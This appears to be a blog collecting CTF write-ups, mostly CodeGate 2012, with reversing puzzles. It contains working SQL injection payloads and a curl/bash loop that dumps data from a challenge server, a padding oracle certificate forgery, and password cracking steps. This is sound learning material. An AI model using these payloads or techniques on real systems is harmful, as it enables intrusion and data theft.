Thursday, May 30, 2013

CodeGate CTF 2012 : Misc - 300 Points

CodeGate CTF 2012 : Misc - 300 Points


Puzzle given to us:
A PCAP file is given to us. Find the key to a locked pdf file inside the pdf file.
File:56C5A2B69084AEC379406CEB42CEC70C

Recommended Tools:
http://pdfcrack.sourceforge.net/
jnetpcap API
wireshark
notepad++
netbeans

Analysing the File:
Analyzing the pcap file using wireshark will eventually leads you to realize that there are 3 pdf files in it. You may use tcp contains pdf to filter out the packets and then follow tcp stream to trace the packets flow. Next I save the data into a file and open up using notepad++. I then prune the useless data leaving only the pdf binary. Next I save the data as a pdf file.

Solving the puzzle:
After extracting the 3 pdf files from the pcap file. You will realize that 1 of them has a password on it.

There are few ways to go about breaking the password in such a short time frame

  1. The password is in the pcap file hidden in one of the messages
  2. The password is in the other 2 pdf files
  3. The password is a common password that is brute forceable

The best bet is to try point 3 first. We begin by running a script/program that parses packet messages into text and string tokenize them into words. These words are formed into a dictionary and passed to a pdf password cracking program to enumerate the keys and attempt to open the file. I downloaded pdf cracker and used it in a VM environment for this puzzle.

I wrote a java app in under 15 mins by grabbing online examples here and there to form this ugly duck... U may choose to rewrite it or wait for a while more for me to rewrite a proper program

import java.util.Date;
import java.util.StringTokenizer;
import java.io.*;
import org.jnetpcap.Pcap;
import org.jnetpcap.packet.PcapPacket;
import org.jnetpcap.packet.PcapPacketHandler;
import com.gargoylesoftware.htmlunit.StringWebResponse.*;
import com.gargoylesoftware.htmlunit.*;
import com.gargoylesoftware.htmlunit.html.* ;
import java.net.URL;

public class PCap {
  public static void main(String[] args) {
    final StringBuilder errbuf = new StringBuilder(); // For any error msgs
    final String file = "300.pcap";

    try {
      System.out.printf("Opening file for reading: %s%n", file);
      Pcap pcap = Pcap.openOffline(file, errbuf);
      if (pcap == null) {
        System.err.printf("Error while opening device for capture: "+ errbuf.toString());
        return;
      }

      PcapPacketHandler<string> jpacketHandler = new PcapPacketHandler<string>() {
      FileWriter fstream = new FileWriter("out.dic");
      BufferedWriter out = new BufferedWriter(fstream);
      public void nextPacket(PcapPacket packet, String user) {
      try {
        System.out.printf("Received at %s caplen=%-4d len=%-4d %s\n",new Date(packet.getCaptureHeader().timestampInMillis()),packet.getCaptureHeader().caplen(), // Length actually captured
        packet.getCaptureHeader().wirelen(), // Original length
        user // User supplied object
      )
      // convert html into text using htmlunit. I don't want html tags!
      String s = packet.getUTF8String(0, packet.getTotalSize());
      URL url = new URL("http://www.example.com");
      StringWebResponse response = new StringWebResponse(s, url);
      WebClient client = new WebClient() ;
      HtmlPage page = HTMLParser.parseHtml(response, client.getCurrentWindow());
      String data = page.asText();
      StringTokenizer st = new StringTokenizer(data);
      while (st.hasMoreTokens()) {
        String token = st.nextToken();
        boolean err = false;
        for (int i = 0; i &lt; token.length(); i++) {// i only want normal ascii
          if (token.charAt(i) &lt; 32 || token.charAt(i) &gt; 126) {
            err = true;
            break;
          }
        }
        if(!err)
          out.write(token + "\n");
      }
    }catch (Exception ex) {
    }
  }
}
try {
  pcap.loop(Pcap.LOOP_INFINITE, jpacketHandler, "jNetPcap rocks =D!");
} finally {
pcap.close();
}
} catch (Exception ex) {
}
}
}

After 9000+ attempts the password to the locked file is found! woohoo... the answer to the locked file is 28-letter
Final answer: 23FB0EC48DF3EACABCA9E98E8CA24CD1 after strupr(md5('28-letter'))
Ok someone told me a 1 line solution >_<
in mac os terminal type this command strings 300.pcap | tr ' ' '\n' > 300_strings.dic
ok me noob >_<

cheers
Elucidator

CodeGate Qualifiers CTF 2012 : Misc #4 - 300 Points

CodeGate Qualifiers CTF 2012 : Misc #4 - 300 Points

Given Hints:
This is the original file:
File:Codegate_site.zip

Recommended Tool:
Online JavaScript Beautifier (http://jsbeautifier.org/) - Beautify, unpack or deobfuscate JavaScript

Identifying File:
For this challenge, we are provided with only a zipped file and it contains several other files for codegate homepage. Opening up the index page (codegate_homepage.htm) in a browser does not show anything interesting. However we discover something peculiar as we look at the source code:
Line 247: <script>c(' … ');</script>
At line 247 of codegate_homepage.htm, a very long statement containing ~11k whitespaces stands out from the rest of the code. This is clearly a very important lead that directs us to look for the function c within the javascript file (codegate.js).
At line 231 of codegate.js lies the obfuscated code for function c. Deobfuscating the code reveals the following:
function c(_0x272dx2) {
    _0x272dx2 = _0x272dx2['replace'](/ /g, 1);
    _0x272dx2 = _0x272dx2['replace'](/\t/g, 0);
    var _0x272dx3 = _0x272dx2;
    _0x272dx2 = "";
    for (i = 0; i &lt; _0x272dx3['length']; i++) {
        _0x272dx2 = _0x272dx3['substring'](i, i + 1) + _0x272dx2
    };
    var _0x272dx4 = "";
    for (i = 0; i &lt; _0x272dx2['length']; i += 9) {
        _0x272dx4 += String['fromCharCode'](parseInt(_0x272dx2['substring'](i, i + 9), 2))
    };
    eval(_0x272dx4)
};

What the code does is to replace all whitespaces with digit 1 and all tabs with digit 0. We can pass the variable _0x272dx4 to the alert function to see the code that is passed to the eval function:
if (new Date().getTime() > 1330268400000) {
    var dummya = '1';
    var dummyb = '1';
    var dummyv = '1';
    var dummyc = '1';
    var dummys = '1';
    var dummyae = '1';
    var dummyasefa = '1';
    var dummeya = '1';
    var dummya = '1';
    var dum3mya = '1';
    var dumm54ya = '1';
    var dumm3ya = '1';
    var dum1mya = '1';
    var p = 'YTK4YPT1YK48PTK48TK34PTYK6TDKT5P2KT73TKPY4TBTK3TT4YKT4ETK4YTP7K4T6KT30TKYP7T2KYT33TKP7TY6KTYP33TKPY7PT2YT';
    p = p.replace(/T/g,//).replace(/P/g,//).replace(/Y/g,//).replace(/K/g,'%');
    //var authkey =     unescape(p);
}
As we can see here, this portion of code does a comparison of the current timestamp against a specified unix timestamp that is equivalent to "Wed, 12 Jul 44124 00:00:00 GMT". Within the if statement lies a series of dummy variables that are assigned to the value '1' but are not used anywhere else. What follows thereafter is the assigment of a string of hexadecimal values to variable p, removing all instances of 'T', 'P' and 'Y' from it, and replacing all instances of 'K' with '%'.

Variable p
----------
Before: YTK4YPT1YK48PTK48TK34PTYK6TDKT5P2KT73TKPY4TBTK3TT4YKT4ETK4YTP7K4T6KT30TKYP7T2KYT33TKP7TY6KTYP33TKPY7PT2YT
After: %41%48%48%34%6D%52%73%4B%34%4E%47%46%30%72%33%76%33%72
Final Solution:
We obtain the solution to this challenge after passing the variable p to the unescaped function.
Flag: **AHH4mRsK4NGF0r3v3r**

cheers
Mr.D

CodeGate CTF 2012 : Vulnerability - 100 Points

CodeGate CTF 2012 : Vulnerability - 100 Points


Puzzle given to us:
Web application given to us contains

  1. index page
  2. upload page (for uploading of mp3)
  3. player page (for playing of uploaded mp3)
  4. request_mp3 page (for downloading of mp3)

Question: What song is the administrator listening to?

Recommended Tools:
Live HTTP Headers (https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/)
Tamper Data (https://addons.mozilla.org/en-US/firefox/addon/tamper-data/)

Analysing the File:
There are 3 vulnerabilities here... but only 1 is useful for this puzzle

  1. Full Path Disclosure via local file inclusion found this in the url where the page is redirect via ?page=upload or ?page=
  2. XSS via inserting script in the title text field in upload page
  3. SQL Injection in the genre filed in upload page

Solving the Puzzle:
The SQL Injection was found through the use of Tamper data while uploading a mp3. By modifying the integer value of the genre from "1" to " 1' " resulted in failure to upload the mp3 file. Although no error appears, but it does seems that there is a sql error. I would image the backend sql code to be something like the following
INSERT INTO xxx (a,b,c,d) VALUES (a,b,genre,title,d)
So my attack begins by changing the genre post value to 1, database())#
yeah the attack works! now the upload page display the uploaded file title to the name of the database

Ok, lets begin our attack... using genre field

Get the table names from the database. It is noted that there are tons of tables in the database and it is in this order upload_mp3_ip_address
1, (SELECT table_name FROM information_schema.tables where table_schema=database())#

Get the column name from the table (we use hex to by pass single quote problem in the sql statement) the fields dump are idx, genre, title, file
1, (SELECT column_name FROM information_schema.columns where table_name=0xhextablename)#
Dump the fields
1, (SELECT group_concat(title, 0x3a, file) from upload_mp3_127_0_0_1)#
Damn the file field looks empty... or is it? lets try this
1, (SELECT length(file) from upload_mp3_127_0_0_1)#
damn the size is big...
let's write a bash to dump... .
>> for i in `seq 0 32767 393204`; do ./vuln100.sh "SELECT hex(substring(file,$i,32767)) FROM upload_mp3_127_0_0_1" | xxd -r -p - >>vuln100.mp3; done;
vuln100.sh
curl -s "http://1.234.41.8:7856/mp3_world/?page=upload" -F "mp3=@a.mp3;filename=mp3.mp3" -F "genre=2,($1))#" -F "title=a" 2>/dev/null >/dev/null
curl -s "http://1.234.41.8:7856/mp3_world/?page=player" | grep "name:" | awk -F "dance" '{print $2}' | awk -F '",filename' '{ print $1 }' | cut -c 2-
After running the bash script...
a mp3 is formed...
with the solutions in the audio.. UPL04DNPL4D

cheers
Elucidator

CodeGate CTF 2012 : Vulnerability - 400 Points

CodeGate CTF 2012 : Vulnerability - 400 Points


Puzzle given to us:
A Web application is given to us in which it allows us to download a certificate that we can use to upload and login into the system as citizen. The objective is to find a way to login as king.

Recommended Tools:
-

Analysing the File:
Analyzing the downloaded file, it contains only 1 line (btw the below line is "randomized" every time you download from the server)
vDxkdtmGels=KUdOWbuM0mE=

this file seems like 2 x base 64 to me, lets decode it... seems garbish.. hmmm i wonder wth is it...
so let's ignore the garbish ascii for now and we hex the decoded value.

let's then modify the contents by changing the end bytes of the 1st block and encode it back to base64. Submit the cert up... we see a popup: padding error.
Crap its the padding oracle problem as i had suspected =(

Solving the Puzzle:

Padding Oracle has been used in some captcha algorithm. However such approach is vulnerable to attack. We are given 2 things the IV and the crypted message. So i guess the 2 x base64 given to us means this.

The attack begins like this... we do not touch the crypted message rather we modify the IV (initialization vector) so that we are able to decipher what is the intermediate value of this padding oracle problem. Once the intermediate value is deciphered, we would have solved 90% of the puzzle. What we can do now is to xor the intended plaintext with the intermediate value and use it as the IV.

Note: there are few errors that the web application will prompt to us... they are

  • Padding Error = the IV caused the plaintext padding to be malformed. Theoritically, if there are 2 empty space in a block the block should be "a b c d e f 0x02 0x02" the hex 02 indicates how many padded bytes there are. if the IV caused the plain text to be "a b c d e f 0x01 0x02" This will cause padding error.
  • Class Error = this is generated when you change the IV until the web application logic is unable to determine which class you belong to. For instance lets say you are a citizen and somehow you changed one of the byte making it into citazen. This will generate a class Error.


the above is a brief summary of how an attacker would approach this problem. Now for step by step illustration.


  1. Decode base64
  2. Hex it
  3. Generate 256 different last byte
  4. upload to server to test result
  5. only 1 successful login, the rest are all padding error
  6. The plain text last byte is a 0x01 [Reason: if the last byte is 0x02, we should get 2 non padding error]
  7. since we know the plain text (0x01) and we know the IV hex, we can derive the intermediate value by (0x01 ^ IV's last byte)
  8. Now we repeat step 3 to 7 to get the 2nd last byte of the intermediate value but this time we form the IV in such a way that the last byte of the plain text become 0x02
  9. After bruteforcing for 256 times we will only have 1 class error and the rest are padding error... the class error indicates that we found the correct IV for the last 2nd byte to force that plain text into 0x02. We can derive the IV for the 2nd last byte.
  10. the above steps repeats until we get the full intermediate value.


Once we got the intermediate value, we can derive the plain text easily by taking the IM xor with the IV. We found that the plain text is actually nezitic0x01 which stands for citizen and 1 padding. So using my spider sense we can change this plaintext into king followed by 4 padding... which is ...gnik0x040x040x040x04 and xor with the IM to get the IV needed to do the spoofing job. We re encode the data back into base 64 and resubmit the ctf file to the server. =D we are logged in as the king!

My orginal CTF File contents is: vDxkdtmGels=KUdOWbuM0mE=
My edited CTF File contents is: tTd3dKnrHV4=KUdOWbuM0mE=

cheers
Elucidator

CodeGate CTF 2012 : Forensics - 100 Points

CodeGate CTF 2012 : Forensics - 100 Points

I find the challenges for Forensics category are well written and fun.It's good when you're involved in malware and Incident Response.
However, the formatting for the solution(s) is the one that puts me off. Kudos to the organizer.

Hints given to us:
In order to steal financial information of Company X, IU got a job under cover.
She decided to attack CFO's computer, and then insert malicious code to his computer in the way of social engineering.
She figured out that he didn't use to turn off his computer, when he gets off work.
After he leaves the office, she obtains financial data from his computer to search EXCEL file.
By checking installed application program, she can find the information in the file. She lacks the file externally.
In order to remove all traces, she erases malicious code, event logs and recent file list.
The company X has to figure out what information she stole correctly to make an appropriate measure.
These are files attacked from CFO's computer. Find the full path and size of the file which she stole.
On the day, CFO left the office at 14:00. The time is based on Korea Standard Time(UTC +09:00).
Answer: strlwr(md5(full_path|file_size)) ('|' is just a character)
Download : 525321B9CEDAF3C8D35FC9071D5DD237

This is the original file which i have to split into multiple files due to file size restrictions:
File:
525321B9CEDAF3C8D35FC9071D5DD237.7z.001

525321B9CEDAF3C8D35FC9071D5DD237.7z.002

525321B9CEDAF3C8D35FC9071D5DD237.7z.003

525321B9CEDAF3C8D35FC9071D5DD237.7z.004


Recommended Tools:
Windows File Analyzer (http://mitec.cz/wfa.html)
TRiD (http://mark0.net/soft-trid-e.html)

Analysing the File:
Using TriD and it's shown that it's a 7-zip file. So when i extract out the contents, it seems to be the entire "Users" folder for a Windows Vista or Windows 7 user.
As the hints given, our main objective is to grab the EXCEL file. But wait, the hints also mentioned about erasing all traces. So basically i can't do a search for .xls
Ok, maybe the attacker deleted the file but let's see whether the attacker removes it from the "Recent" folder in Office.

As we can see from the image below, there are 2 previous opened excel files, [Top-Secret]_2011_Financial_deals & Carving파일분석



From the 2 excel filenames, most probably it should be the one with "Top-Secret"
Since the objective is to find out the full path and and the file size first. As the file is deleted and we are left with .lnk files.
Let's see what other tool(s) i have in my arsenal here.
I quickly copied out the shortcut, which is .lnk file, and whipped out WFA and i can see the required information in the image below.



Solving the Puzzle:
Using all the gathered information and since the answer had to be
Answer: strlwr(md5(full_path|file_size)) ('|' is just a character)

So if we run the following command in Linux:
echo -n "C:\INSIGHT\Accounting\Confidential\[Top-Secret]_2011_Financial_deals.xlsx|9296" | md5sum

Using the md5 checksum that was returned to us, the key for Forensics 100 is : d3403b2653dbc16bbe1cfce53a417ab1

cheers
0x4a61636f62

Reversing.kr - Easy Crack (100pts)

This writeup had been sitting on my PC for some time.
I think it's probably a good time to release it. :D

You can register and download this file here.
http://reversing.kr/download.php?n=1
Alternatively, here is the mirror of the file.
Easy_CrackMe.zip

Required Tools:
IDA Pro

Initial Analysis:
Let's load this binary up with IDA Pro.


From the above image, we can see the "WinMain" which is calling "DialogFunc".

If we follow to "DialogFunc", we will see that it will call "sub_401080" as shown in the image below.


So let's take a quick look at "sub_401080" and if we practice enough with keygen and crackmes, you will know by now that we should check out GetDlgItemText first.


Further Analysis on the Algorithm:
If we study hard enough, you will see that after the application grabbed the user's input data, it will do a comparison with the 2nd byte as shown here.
cmp byte ptr [esp+5], 61h ; Compare 2nd byte with 0x61.
This means that our 2nd character must be a since 61h means "a" according to http://www.asciitable.com/

Let's move on the 2nd comparison.

As we can see from the image above, it's trying to compare user's 3rd and 4th bytes with "5y"

Now let's move downwards.

Ok, now it's trying to load the 5th bytes until end of user input and comparing byte by byte with "R3versing"

Finally, we saw another comparison. This time round, it's trying to compare the 1st byte with 0x45 which is "E"

Conclusion:
Now let's move back all the newly acquired clues before we are being told whether the input key is valid or not.
E + a + 5y + R3versing == Ea5yR3versing

Now let's enter this key "Ea5yR3versing" and we have successfully solved this binary.

cheers
0x4a61636f62

Third Puzzle on 0x41414141.com

After solving the second challenge, we got an email reply with the following contents.

sweet.

Here's the C source:

int bar(){
    int x = 0xC0FFEE;
    return (x ^ (int)bar) ^ 0x8744EE;
}

int main(){
    int x = 0;
    x = bar("Email is return value of fn in form 0x12345678 zero padded to eight digits");
}

Now here's something a little different:

0x41414141.com/gzip/

good luck!
Visiting the above url, i saw this image.


For this particular puzzle, i've used Cerbero Profiler.
Loading the image into Cerbero Profiler, i'm been informed by Profiler that "1 chunks don't match their CRC. They are highlighted in the format view."
That particular chunk is zTXT and if we read the PNG specifications, it is been compressed.

Cerbero Profiler comes along with many features. Let's do a quick filter on the chunk that we are interested in by selected the hex bytes as shown below.


After that, add the zlib unpack filter to it and press preview and you should see something like the image below.


The returned results is "pngRocks@challenge.0x41414141.com" and that is the email address which we should send to. :D

But for people who are interested in an open-source solution, i've written a small python code here to do that.
pyDeflate.py

cheers
0x4a61636f62

Second Puzzle on 0x41414141.com

After solving the first challenge, we got an email reply with the following contents.

You've got the idea. E-mails don't require a subject or body.

Do those skills extend to a PE?

0x41414141.com/bfab4d3c076ac4059f3c1e680c7a6933/

Visiting the given url, we are given a copy of the .exe
Here is a backup of the binary in case the website disappear forever.
bfab4d3c076ac4059f3c1e680c7a6933.zip

Since it's an .exe let's load it up in OllyDbg and have a quick look.


From the above image, we can see that there is a clue, "Email is return value of fn in form 0x12345678 zero padded to eight digits"

Immediately, there is a function call at address 0x00401000
It is loading "0x0C0FFEE" into eax then xor it with 0x401000 then xor the value with 0x8744EE and the results is "7AB00"

Looking at the hint again, the email had to be padded to eight digits, thus the email address which we should send to is 0x0007AB00@challenge.0x41414141.com


cheers
0x4a61636f62

First Puzzle on 0x41414141.com

Initial Stage:
When we go to 0x41414141.com, we saw something that looks like some disassembly of some binaries as you can see below.

00000000 54 6d 6c 6a 5a 53 42 7a 64 47 46 79 64 43 34 67 |TmljZSBzdGFydC4g|
00000010 49 46 4e 31 63 6d 55 67 61 47 39 77 5a 53 42 35 |IFN1cmUgaG9wZSB5|
00000020 62 33 55 67 64 47 68 70 62 6d 73 67 61 58 51 67 |b3UgdGhpbmsgaXQg|
00000030 64 32 46 7a 49 48 4e 30 64 58 42 70 5a 43 42 7a |d2FzIHN0dXBpZCBz|
00000040 61 57 31 77 62 47 55 75 49 41 6f 4b 55 32 56 75 |aW1wbGUuIAoKU2Vu|
00000050 5a 43 42 68 62 69 42 6c 4c 57 31 68 61 57 77 67 |ZCBhbiBlLW1haWwg|
00000060 64 47 38 67 5a 6d 39 76 51 47 4e 6f 59 57 78 73 |dG8gZm9vQGNoYWxs|
00000070 5a 57 35 6e 5a 53 34 77 65 44 51 78 4e 44 45 30 |ZW5nZS4weDQxNDE0|
00000080 4d 54 51 78 4c 6d 4e 76 62 53 34 67 51 53 42 79 |MTQxLmNvbS4gQSBy|
00000090 5a 58 42 73 65 53 42 33 61 57 78 73 49 47 4a 6c |ZXBseSB3aWxsIGJl|
000000a0 49 48 4e 6c 62 6e 51 67 64 47 38 67 64 47 68 6c |IHNlbnQgdG8gdGhl|
000000b0 49 48 4a 6c 63 47 78 35 4c 58 52 76 49 47 46 6b |IHJlcGx5LXRvIGFk|
000000c0 5a 48 4a 6c 63 33 4d 67 59 32 39 75 64 47 46 70 |ZHJlc3MgY29udGFp|
000000d0 62 6d 6c 75 5a 79 42 30 61 47 55 67 56 56 4a 4d |bmluZyB0aGUgVVJM|
000000e0 49 47 39 6d 49 48 52 6f 5a 53 42 7a 5a 57 4e 76 |IG9mIHRoZSBzZWNv|
000000f0 62 6d 51 67 64 47 46 7a 61 79 34 4b |bmQgdGFzay4K|



contact@0x41414141.com

Further Analysis:
After some further analysis, i've figured out that it's just a base64 encoded string.
So i've extracted out the string and got back this.
TmljZSBzdGFydC4g
IFN1cmUgaG9wZSB5
b3UgdGhpbmsgaXQg
d2FzIHN0dXBpZCBz
aW1wbGUuIAoKU2Vu
ZCBhbiBlLW1haWwg
dG8gZm9vQGNoYWxs
ZW5nZS4weDQxNDE0
MTQxLmNvbS4gQSBy
ZXBseSB3aWxsIGJl
IHNlbnQgdG8gdGhl
IHJlcGx5LXRvIGFk
ZHJlc3MgY29udGFp
bmluZyB0aGUgVVJM
IG9mIHRoZSBzZWNv
bmQgdGFzay4K

So i made a simple Python script and i've got back
Nice start. Sure hope you think it was stupid simple.

Send an e-mail to foo@challenge.0x41414141.com. A reply will be sent to the reply-to address containing the URL of the second task.

Sending an email to the above email address and i've got the next challenge awaiting for me. :D

Attached is the simple Python script.
pyBase64Decode.py

cheers
0x4a61636f62

CodeGate Qualifiers CTF 2012 : Misc #2 - 200 Points

CodeGate Qualifiers CTF 2012 : Misc #2 - 200 Points

Given Hints:
Alice wants to send a message to Bob in secure way.

Alice encrypted a plaintext PA = ¡°IMISSYOU¡± = 0x494D495353594F55 by using DES
and obtained ciphertext CA = 0xFA26ED1833264435.

Alice sent the ciphertext CA and the secret key to Bob. The secret key was encrypted
by converting each of its letters to a pair of digits giving its position in the
typewriter keyboard. More precisely, the following table is used.

1 2 3 4 5 6 7 8 9 0
---------------------------------------------------
1 | Q W E R T Y U I O P
2 | A S D F G H J K L
3 | Z X C V B N M

In this manner, 'A' is converted to 21, 'B' to 35, etc. In transmission, all of the
first digits were lost and the received secret key resulted in the pairs:

?8 ?9 ?9 ?4 ?3 ?5 ?9 ?5

After a few minutes, Bob recovered the secret key and smiled. Bob decided to reply in the same way.

Bob encrypts a plaintext PB = 0xB6B2B6ACACA6B0AA by using DES and obtained ciphertext CB = 0x05D912E7CCD9BBCA.

What is the secret key which Bob used? (0x????????????????) (Bob's secret key is different from Alice's secret key)

Identifying File:
We first begin by recovering the secret key. We know these are the possible letters by referencing to the table above:
?8 ?9 ?9 ?4 ?3 ?5 ?9 ?5
------------------------------
I O O R E T O T
K L L F D G L G
V C B B

From the list of possible letters, we can deduce the secret key to be
I L O V E B O B

We confirm this secret key to be correct by testing it out using DES.
Where do we proceed from here? We know the plaintexts PA and PB, the ciphertexts CA and CB and also the secret key SA. How are we going to determine the secret key SB with the information gathered? With some research and thinking, we know:
This CTF session lasts for only 36 hours and several teams manage to solve this challenge within hours.
With the available information, we know we have to conduct a "known plaintext attack", which needs days to brute-force. In view of practicality, this is clearly not the correct direction to head towards solving the challenge.

Let's take another look at the available information:
Plaintext Ciphertext Secret Key
------------------------------------------------------------------------
Alice | 494D495353594F55 FA26ED1833264435 494C4F5645424F42 (ILOVEBOB)
Bob | B6B2B6ACACA6B0AA 05D912E7CCD9BBCA

If we look close enough at the information above, we can make out some noticeable patterns from them => 0x5 in PA becomes 0xA in PB, 0x3 in PA becomes 0xC in PB, 0x2 in CA becomes 0xD in CB, etc. As the list grows, we can actually deduce a trait:
4 -> B 9 -> 6 D -> 2 5 -> A 3 -> C F -> 0
(0100) (1011) (1001) (0110) (1101) (0010) (0101) (1010) (0011) (1100) (1111) (0000)

A -> 5 2 -> D 6 -> 9 E -> 1 1 -> E 8 -> 7
(1010) (0101) (0010) (1101) (0110) (1001) (1110) (0001) (0001) (1110) (1000) (0111)

The common trait among the hex characters is the toggling of bits, which are shown in brackets. For bit manipulation, we can use the exclusive-OR operator (^) to achieve this toggling of bits action.

Let's toggle the bits in the secret key CA to obtain secret key CB and use DES to verify it:
494C4F5645424F42
^FFFFFFFFFFFFFFFF
----------------
B6B3B0A9BABDB0BD

Final Solution:
Flag: **B6B3B0A9BABDB0BD**

cheers
Mr.D